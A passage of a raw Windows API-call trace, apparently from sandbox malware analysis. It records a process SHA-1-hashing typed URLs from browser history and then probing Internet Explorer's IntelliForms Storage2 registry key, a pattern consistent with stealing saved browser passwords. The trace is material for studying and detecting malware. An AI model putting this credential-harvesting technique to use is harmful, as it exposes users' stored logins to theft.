(lpString="31") returned 2 [0096.888] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.888] lstrcpyW (in: lpString1=0x28e7910, lpString2="8DFD8EB722F5F07F2D9A1A69DD93FF863E" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E") returned="8DFD8EB722F5F07F2D9A1A69DD93FF863E" [0096.888] lstrcatW (in: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E", lpString2="31" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E31") returned="8DFD8EB722F5F07F2D9A1A69DD93FF863E31" [0096.888] LocalFree (hMem=0x2815670) returned 0x0 [0096.888] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AC") returned 2 [0096.888] lstrlenW (lpString="8DFD8EB722F5F07F2D9A1A69DD93FF863E31") returned 36 [0096.888] lstrlenW (lpString="AC") returned 2 [0096.889] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.889] lstrcpyW (in: lpString1=0x28e7670, lpString2="8DFD8EB722F5F07F2D9A1A69DD93FF863E31" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E31") returned="8DFD8EB722F5F07F2D9A1A69DD93FF863E31" [0096.889] lstrcatW (in: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E31", lpString2="AC" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC") returned="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC" [0096.889] LocalFree (hMem=0x28e7910) returned 0x0 [0096.889] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="72") returned 2 [0096.889] lstrlenW (lpString="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC") returned 38 [0096.889] lstrlenW (lpString="72") returned 2 [0096.889] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.889] lstrcpyW (in: lpString1=0x28e7910, lpString2="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC") returned="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC" [0096.889] lstrcatW (in: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC", lpString2="72" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC72") returned="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC72" [0096.889] LocalFree (hMem=0x28e7670) returned 0x0 [0096.889] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="21") returned 2 [0096.889] lstrlenW (lpString="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC72") returned 40 [0096.889] lstrlenW (lpString="21") returned 2 [0096.889] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.889] lstrcpyW (in: lpString1=0x28e7670, lpString2="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC72" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC72") returned="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC72" [0096.889] lstrcatW (in: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC72", lpString2="21" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC7221") returned="8DFD8EB722F5F07F2D9A1A69DD93FF863E31AC7221" [0096.889] LocalFree (hMem=0x28e7910) returned 0x0 [0096.889] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.889] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.889] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.889] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.889] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.889] LocalFree (hMem=0x28e7670) returned 0x0 [0096.889] RegEnumValueW (in: hKey=0x368, dwIndex=0x13, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url31", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.889] StrStrIW (lpFirst="iwanttodeliver.com", lpSrch="?") returned 0x0 [0096.889] StrStrIW (lpFirst="iwanttodeliver.com", lpSrch="http://") returned 0x0 [0096.889] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.890] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.890] lstrlenW (lpString="iwanttodeliver.com") returned 18 [0096.890] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x26, dwFlags=0x0) returned 1 [0096.890] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.890] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DF") returned 2 [0096.890] lstrlenW (lpString="") returned 0 [0096.890] lstrlenW (lpString="DF") returned 2 [0096.890] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.890] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.890] lstrcatW (in: lpString1="", lpString2="DF" | out: lpString1="DF") returned="DF" [0096.890] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="38") returned 2 [0096.890] lstrlenW (lpString="DF") returned 2 [0096.890] lstrlenW (lpString="38") returned 2 [0096.890] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.890] lstrcpyW (in: lpString1=0x28c81c0, lpString2="DF" | out: lpString1="DF") returned="DF" [0096.890] lstrcatW (in: lpString1="DF", lpString2="38" | out: lpString1="DF38") returned="DF38" [0096.890] LocalFree (hMem=0x7222e70) returned 0x0 [0096.890] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C2") returned 2 [0096.890] lstrlenW (lpString="DF38") returned 4 [0096.890] lstrlenW (lpString="C2") returned 2 [0096.891] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0096.891] lstrcpyW (in: lpString1=0x28ca380, lpString2="DF38" | out: lpString1="DF38") returned="DF38" [0096.891] lstrcatW (in: lpString1="DF38", lpString2="C2" | out: lpString1="DF38C2") returned="DF38C2" [0096.891] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.891] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EE") returned 2 [0096.891] lstrlenW (lpString="DF38C2") returned 6 [0096.891] lstrlenW (lpString="EE") returned 2 [0096.891] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.891] lstrcpyW (in: lpString1=0x28c81c0, lpString2="DF38C2" | out: lpString1="DF38C2") returned="DF38C2" [0096.891] lstrcatW (in: lpString1="DF38C2", lpString2="EE" | out: lpString1="DF38C2EE") returned="DF38C2EE" [0096.891] LocalFree (hMem=0x28ca380) returned 0x0 [0096.891] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D8") returned 2 [0096.891] lstrlenW (lpString="DF38C2EE") returned 8 [0096.891] lstrlenW (lpString="D8") returned 2 [0096.891] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0096.891] lstrcpyW (in: lpString1=0x28ca380, lpString2="DF38C2EE" | out: lpString1="DF38C2EE") returned="DF38C2EE" [0096.891] lstrcatW (in: lpString1="DF38C2EE", lpString2="D8" | out: lpString1="DF38C2EED8") returned="DF38C2EED8" [0096.891] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.891] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="ED") returned 2 [0096.891] lstrlenW (lpString="DF38C2EED8") returned 10 [0096.891] lstrlenW (lpString="ED") returned 2 [0096.891] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.891] lstrcpyW (in: lpString1=0x71cfb40, lpString2="DF38C2EED8" | out: lpString1="DF38C2EED8") returned="DF38C2EED8" [0096.891] lstrcatW (in: lpString1="DF38C2EED8", lpString2="ED" | out: lpString1="DF38C2EED8ED") returned="DF38C2EED8ED" [0096.891] LocalFree (hMem=0x28ca380) returned 0x0 [0096.891] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CE") returned 2 [0096.891] lstrlenW (lpString="DF38C2EED8ED") returned 12 [0096.891] lstrlenW (lpString="CE") returned 2 [0096.891] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.891] lstrcpyW (in: lpString1=0x71cf460, lpString2="DF38C2EED8ED" | out: lpString1="DF38C2EED8ED") returned="DF38C2EED8ED" [0096.891] lstrcatW (in: lpString1="DF38C2EED8ED", lpString2="CE" | out: lpString1="DF38C2EED8EDCE") returned="DF38C2EED8EDCE" [0096.891] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.891] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="19") returned 2 [0096.891] lstrlenW (lpString="DF38C2EED8EDCE") returned 14 [0096.891] lstrlenW (lpString="19") returned 2 [0096.891] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.891] lstrcpyW (in: lpString1=0x71cfb40, lpString2="DF38C2EED8EDCE" | out: lpString1="DF38C2EED8EDCE") returned="DF38C2EED8EDCE" [0096.891] lstrcatW (in: lpString1="DF38C2EED8EDCE", lpString2="19" | out: lpString1="DF38C2EED8EDCE19") returned="DF38C2EED8EDCE19" [0096.892] LocalFree (hMem=0x71cf460) returned 0x0 [0096.892] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B4") returned 2 [0096.892] lstrlenW (lpString="DF38C2EED8EDCE19") returned 16 [0096.892] lstrlenW (lpString="B4") returned 2 [0096.892] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.892] lstrcpyW (in: lpString1=0x71cf460, lpString2="DF38C2EED8EDCE19" | out: lpString1="DF38C2EED8EDCE19") returned="DF38C2EED8EDCE19" [0096.892] lstrcatW (in: lpString1="DF38C2EED8EDCE19", lpString2="B4" | out: lpString1="DF38C2EED8EDCE19B4") returned="DF38C2EED8EDCE19B4" [0096.892] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.892] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="63") returned 2 [0096.892] lstrlenW (lpString="DF38C2EED8EDCE19B4") returned 18 [0096.892] lstrlenW (lpString="63") returned 2 [0096.892] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.892] lstrcpyW (in: lpString1=0x72912f0, lpString2="DF38C2EED8EDCE19B4" | out: lpString1="DF38C2EED8EDCE19B4") returned="DF38C2EED8EDCE19B4" [0096.892] lstrcatW (in: lpString1="DF38C2EED8EDCE19B4", lpString2="63" | out: lpString1="DF38C2EED8EDCE19B463") returned="DF38C2EED8EDCE19B463" [0096.892] LocalFree (hMem=0x71cf460) returned 0x0 [0096.892] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7A") returned 2 [0096.892] lstrlenW (lpString="DF38C2EED8EDCE19B463") returned 20 [0096.892] lstrlenW (lpString="7A") returned 2 [0096.892] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.892] lstrcpyW (in: lpString1=0x7290b70, lpString2="DF38C2EED8EDCE19B463" | out: lpString1="DF38C2EED8EDCE19B463") returned="DF38C2EED8EDCE19B463" [0096.892] lstrcatW (in: lpString1="DF38C2EED8EDCE19B463", lpString2="7A" | out: lpString1="DF38C2EED8EDCE19B4637A") returned="DF38C2EED8EDCE19B4637A" [0096.892] LocalFree (hMem=0x72912f0) returned 0x0 [0096.892] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7A") returned 2 [0096.892] lstrlenW (lpString="DF38C2EED8EDCE19B4637A") returned 22 [0096.892] lstrlenW (lpString="7A") returned 2 [0096.892] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.892] lstrcpyW (in: lpString1=0x72912f0, lpString2="DF38C2EED8EDCE19B4637A" | out: lpString1="DF38C2EED8EDCE19B4637A") returned="DF38C2EED8EDCE19B4637A" [0096.892] lstrcatW (in: lpString1="DF38C2EED8EDCE19B4637A", lpString2="7A" | out: lpString1="DF38C2EED8EDCE19B4637A7A") returned="DF38C2EED8EDCE19B4637A7A" [0096.892] LocalFree (hMem=0x7290b70) returned 0x0 [0096.892] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A7") returned 2 [0096.892] lstrlenW (lpString="DF38C2EED8EDCE19B4637A7A") returned 24 [0096.892] lstrlenW (lpString="A7") returned 2 [0096.892] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.892] lstrcpyW (in: lpString1=0x7290b70, lpString2="DF38C2EED8EDCE19B4637A7A" | out: lpString1="DF38C2EED8EDCE19B4637A7A") returned="DF38C2EED8EDCE19B4637A7A" [0096.892] lstrcatW (in: lpString1="DF38C2EED8EDCE19B4637A7A", lpString2="A7" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7") returned="DF38C2EED8EDCE19B4637A7AA7" [0096.892] LocalFree (hMem=0x72912f0) returned 0x0 [0096.893] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C6") returned 2 [0096.893] lstrlenW (lpString="DF38C2EED8EDCE19B4637A7AA7") returned 26 [0096.893] lstrlenW (lpString="C6") returned 2 [0096.893] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.893] lstrcpyW (in: lpString1=0x2815670, lpString2="DF38C2EED8EDCE19B4637A7AA7" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7") returned="DF38C2EED8EDCE19B4637A7AA7" [0096.893] lstrcatW (in: lpString1="DF38C2EED8EDCE19B4637A7AA7", lpString2="C6" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6") returned="DF38C2EED8EDCE19B4637A7AA7C6" [0096.893] LocalFree (hMem=0x7290b70) returned 0x0 [0096.893] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F6") returned 2 [0096.893] lstrlenW (lpString="DF38C2EED8EDCE19B4637A7AA7C6") returned 28 [0096.893] lstrlenW (lpString="F6") returned 2 [0096.893] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.893] lstrcpyW (in: lpString1=0x2815a80, lpString2="DF38C2EED8EDCE19B4637A7AA7C6" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6") returned="DF38C2EED8EDCE19B4637A7AA7C6" [0096.893] lstrcatW (in: lpString1="DF38C2EED8EDCE19B4637A7AA7C6", lpString2="F6" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6") returned="DF38C2EED8EDCE19B4637A7AA7C6F6" [0096.893] LocalFree (hMem=0x2815670) returned 0x0 [0096.893] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C6") returned 2 [0096.893] lstrlenW (lpString="DF38C2EED8EDCE19B4637A7AA7C6F6") returned 30 [0096.893] lstrlenW (lpString="C6") returned 2 [0096.893] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.893] lstrcpyW (in: lpString1=0x2815670, lpString2="DF38C2EED8EDCE19B4637A7AA7C6F6" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6") returned="DF38C2EED8EDCE19B4637A7AA7C6F6" [0096.893] lstrcatW (in: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6", lpString2="C6" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6") returned="DF38C2EED8EDCE19B4637A7AA7C6F6C6" [0096.893] LocalFree (hMem=0x2815a80) returned 0x0 [0096.893] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E1") returned 2 [0096.893] lstrlenW (lpString="DF38C2EED8EDCE19B4637A7AA7C6F6C6") returned 32 [0096.893] lstrlenW (lpString="E1") returned 2 [0096.893] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.893] lstrcpyW (in: lpString1=0x2815a80, lpString2="DF38C2EED8EDCE19B4637A7AA7C6F6C6" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6") returned="DF38C2EED8EDCE19B4637A7AA7C6F6C6" [0096.893] lstrcatW (in: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6", lpString2="E1" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1") returned="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1" [0096.893] LocalFree (hMem=0x2815670) returned 0x0 [0096.893] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0096.893] lstrlenW (lpString="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1") returned 34 [0096.893] lstrlenW (lpString="96") returned 2 [0096.893] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.893] lstrcpyW (in: lpString1=0x28e7670, lpString2="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1") returned="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1" [0096.893] lstrcatW (in: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1", lpString2="96" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E196") returned="DF38C2EED8EDCE19B4637A7AA7C6F6C6E196" [0096.894] LocalFree (hMem=0x2815a80) returned 0x0 [0096.894] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="37") returned 2 [0096.894] lstrlenW (lpString="DF38C2EED8EDCE19B4637A7AA7C6F6C6E196") returned 36 [0096.894] lstrlenW (lpString="37") returned 2 [0096.894] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.894] lstrcpyW (in: lpString1=0x28e7910, lpString2="DF38C2EED8EDCE19B4637A7AA7C6F6C6E196" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E196") returned="DF38C2EED8EDCE19B4637A7AA7C6F6C6E196" [0096.894] lstrcatW (in: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E196", lpString2="37" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E19637") returned="DF38C2EED8EDCE19B4637A7AA7C6F6C6E19637" [0096.894] LocalFree (hMem=0x28e7670) returned 0x0 [0096.894] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0096.894] lstrlenW (lpString="DF38C2EED8EDCE19B4637A7AA7C6F6C6E19637") returned 38 [0096.894] lstrlenW (lpString="96") returned 2 [0096.894] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.894] lstrcpyW (in: lpString1=0x28e7670, lpString2="DF38C2EED8EDCE19B4637A7AA7C6F6C6E19637" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E19637") returned="DF38C2EED8EDCE19B4637A7AA7C6F6C6E19637" [0096.894] lstrcatW (in: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E19637", lpString2="96" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1963796") returned="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1963796" [0096.894] LocalFree (hMem=0x28e7910) returned 0x0 [0096.894] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EB") returned 2 [0096.894] lstrlenW (lpString="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1963796") returned 40 [0096.894] lstrlenW (lpString="EB") returned 2 [0096.894] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.894] lstrcpyW (in: lpString1=0x28e7910, lpString2="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1963796" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1963796") returned="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1963796" [0096.894] lstrcatW (in: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1963796", lpString2="EB" | out: lpString1="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1963796EB") returned="DF38C2EED8EDCE19B4637A7AA7C6F6C6E1963796EB" [0096.894] LocalFree (hMem=0x28e7670) returned 0x0 [0096.894] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.894] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.894] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.894] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.894] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.894] LocalFree (hMem=0x28e7910) returned 0x0 [0096.894] RegEnumValueW (in: hKey=0x368, dwIndex=0x14, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url30", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.894] StrStrIW (lpFirst="outbrain.com", lpSrch="?") returned 0x0 [0096.894] StrStrIW (lpFirst="outbrain.com", lpSrch="http://") returned 0x0 [0096.894] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.895] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.895] lstrlenW (lpString="outbrain.com") returned 12 [0096.895] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x1a, dwFlags=0x0) returned 1 [0096.895] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.895] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="77") returned 2 [0096.895] lstrlenW (lpString="") returned 0 [0096.895] lstrlenW (lpString="77") returned 2 [0096.895] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.895] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.895] lstrcatW (in: lpString1="", lpString2="77" | out: lpString1="77") returned="77" [0096.895] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="56") returned 2 [0096.895] lstrlenW (lpString="77") returned 2 [0096.895] lstrlenW (lpString="56") returned 2 [0096.895] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0096.895] lstrcpyW (in: lpString1=0x28ca380, lpString2="77" | out: lpString1="77") returned="77" [0096.895] lstrcatW (in: lpString1="77", lpString2="56" | out: lpString1="7756") returned="7756" [0096.895] LocalFree (hMem=0x7222e70) returned 0x0 [0096.895] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AB") returned 2 [0096.895] lstrlenW (lpString="7756") returned 4 [0096.896] lstrlenW (lpString="AB") returned 2 [0096.896] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.896] lstrcpyW (in: lpString1=0x28c81c0, lpString2="7756" | out: lpString1="7756") returned="7756" [0096.896] lstrcatW (in: lpString1="7756", lpString2="AB" | out: lpString1="7756AB") returned="7756AB" [0096.896] LocalFree (hMem=0x28ca380) returned 0x0 [0096.896] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C1") returned 2 [0096.896] lstrlenW (lpString="7756AB") returned 6 [0096.896] lstrlenW (lpString="C1") returned 2 [0096.896] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0096.896] lstrcpyW (in: lpString1=0x28ca380, lpString2="7756AB" | out: lpString1="7756AB") returned="7756AB" [0096.896] lstrcatW (in: lpString1="7756AB", lpString2="C1" | out: lpString1="7756ABC1") returned="7756ABC1" [0096.896] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.896] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="26") returned 2 [0096.896] lstrlenW (lpString="7756ABC1") returned 8 [0096.896] lstrlenW (lpString="26") returned 2 [0096.896] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.896] lstrcpyW (in: lpString1=0x28c81c0, lpString2="7756ABC1" | out: lpString1="7756ABC1") returned="7756ABC1" [0096.896] lstrcatW (in: lpString1="7756ABC1", lpString2="26" | out: lpString1="7756ABC126") returned="7756ABC126" [0096.896] LocalFree (hMem=0x28ca380) returned 0x0 [0096.896] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C3") returned 2 [0096.896] lstrlenW (lpString="7756ABC126") returned 10 [0096.896] lstrlenW (lpString="C3") returned 2 [0096.896] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.896] lstrcpyW (in: lpString1=0x71cf460, lpString2="7756ABC126" | out: lpString1="7756ABC126") returned="7756ABC126" [0096.896] lstrcatW (in: lpString1="7756ABC126", lpString2="C3" | out: lpString1="7756ABC126C3") returned="7756ABC126C3" [0096.896] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.896] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F3") returned 2 [0096.896] lstrlenW (lpString="7756ABC126C3") returned 12 [0096.896] lstrlenW (lpString="F3") returned 2 [0096.896] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.896] lstrcpyW (in: lpString1=0x71cfb40, lpString2="7756ABC126C3" | out: lpString1="7756ABC126C3") returned="7756ABC126C3" [0096.896] lstrcatW (in: lpString1="7756ABC126C3", lpString2="F3" | out: lpString1="7756ABC126C3F3") returned="7756ABC126C3F3" [0096.896] LocalFree (hMem=0x71cf460) returned 0x0 [0096.896] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A0") returned 2 [0096.896] lstrlenW (lpString="7756ABC126C3F3") returned 14 [0096.896] 